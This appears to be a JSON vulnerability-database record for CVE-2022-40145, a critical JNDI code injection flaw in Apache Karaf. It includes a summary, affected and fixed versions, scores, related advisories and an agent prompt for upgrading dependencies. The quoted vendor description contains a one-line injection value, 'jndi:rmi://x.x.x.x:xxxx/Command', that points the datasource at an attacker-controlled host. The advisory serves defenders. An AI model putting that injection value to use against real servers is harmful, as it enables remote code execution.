{"answers":{"affected":"4 open source packages ship an affected version, including org.apache.karaf:apache-karaf. It affects 1 product.","exploited":"There is no known exploitation of CVE-2022-40145 in the wild and no public exploit code.","fix":"Upgrade org.apache.karaf:apache-karaf to a fixed version for your release line: 4.3.8 or 4.4.2.","what":"CVE-2022-40145 is a critical code injection vulnerability in Apache Karaf, published on 21 Dec 2022. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2022-40145 and fix it if it is affected.\n\nWhat it is: CVE-2022-40145 is a critical code injection vulnerability in Apache Karaf, published on 21 Dec 2022. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of CVE-2022-40145 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- org.apache.karaf:apache-karaf (Maven): affected all versions; fixed in 4.3.8\n- org.apache.karaf:apache-karaf (Maven): affected all versions; fixed in 4.3.8\n- org.apache.karaf:apache-karaf (Maven): affected from 4.4.0; fixed in 4.4.2\n- org.apache.karaf:apache-karaf (Maven): affected from 4.4.0; fixed in 4.4.2\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2022-40145/ (Markdown: https://insights.sbomify.com/CVE-2022-40145/index.md)","id":"CVE-2022-40145","markdown":"https://insights.sbomify.com/CVE-2022-40145/index.md","name":"CVE-2022-40145","record":{"aliases":["GHSA-c2p4-8mvv-rwmv"],"analysis":{"component_type":"server_software","fix_type":"upgrade","impacts":["code_execution"],"network_reachable":"yes","non_default_config":true,"product_category":"Apache Karaf","requires_auth":"none","summary":"Attackers can achieve remote code execution in Apache Karaf by controlling the target LDAP server when a JNDI LDAP data source URI is configured.","user_interaction":"not_required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"apache","cpe":[{"product":"karaf","vendor":"apache"}],"cvss":{"score":9.8,"severity":"critical","source":"cisa-adp","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","version":"3.1"},"cwes":[{"id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component"},{"id":"CWE-20","name":"Improper Input Validation"}],"description":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","ecosystems":["Maven"],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":0,"refs":[],"tier":"none_known"},"has_fix":true,"headline":"Apache Karaf: JDBC JAAS LDAP injection","id":"CVE-2022-40145","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":"Maven","product":null,"products":[],"type":"code_injection","year":"2022"},"n_packages":4,"n_references":1,"next":{"headline":"Jar url should be blocked by DefaultScriptSecurity","id":"CVE-2022-40146"},"packages":[{"ecosystem":"Maven","fixed":["4.3.8"],"introduced":["0"],"last_affected":[],"package":"org.apache.karaf:apache-karaf","purl":null,"source":"GHSA-c2p4-8mvv-rwmv"},{"ecosystem":"Maven","fixed":["4.3.8"],"introduced":["0"],"last_affected":[],"package":"org.apache.karaf:apache-karaf","purl":"pkg:maven/org.apache.karaf/apache-karaf","source":"GHSA-c2p4-8mvv-rwmv"},{"ecosystem":"Maven","fixed":["4.4.2"],"introduced":["4.4.0"],"last_affected":[],"package":"org.apache.karaf:apache-karaf","purl":null,"source":"GHSA-c2p4-8mvv-rwmv"},{"ecosystem":"Maven","fixed":["4.4.2"],"introduced":["4.4.0"],"last_affected":[],"package":"org.apache.karaf:apache-karaf","purl":"pkg:maven/org.apache.karaf/apache-karaf","source":"GHSA-c2p4-8mvv-rwmv"}],"prev":{"headline":"Auth bypass in Trend Micro Apex One","id":"CVE-2022-40144"},"products":["Apache Karaf"],"published":"2022-12-21","related":[{"cvss_score":9.8,"headline":"Apache Karaf: Path Traversal in Config Service Allows Manager-to-Admin Privilege Escalation","id":"CVE-2026-91012","kev_date_added":null,"published":"2026-09-29"},{"cvss_score":9.8,"headline":"Missing authorization in Apache Karaf","id":"CVE-2026-91048","kev_date_added":null,"published":"2026-09-29"},{"cvss_score":9.8,"headline":"XML External Entity Reference in Apache Karaf","id":"CVE-2018-11788","kev_date_added":null,"published":"2019-01-07"},{"cvss_score":8.8,"headline":"Apache Karaf: Authorization bypass in JMX MBean lifecycle operations","id":"CVE-2026-92142","kev_date_added":null,"published":"2026-09-29"},{"cvss_score":8.8,"headline":"Apache Karaf: OS Command Injection in Child-Instance Launch (instance:* / InstancesMBean)","id":"CVE-2026-91006","kev_date_added":null,"published":"2026-09-28"},{"cvss_score":8.8,"headline":"Improper Privilege Management in Apache Karaf","id":"CVE-2018-11786","kev_date_added":null,"published":"2018-09-18"}],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"}],"ssvc":{"automatable":"yes","exploitation":"none","technical_impact":"total"},"state":"PUBLISHED","updated":"2025-04-15","vendors":["Apache Software Foundation"]},"summary":"Attackers can achieve remote code execution in Apache Karaf by controlling the target LDAP server when a JNDI LDAP data source URI is configured.","url":"https://insights.sbomify.com/CVE-2022-40145/"}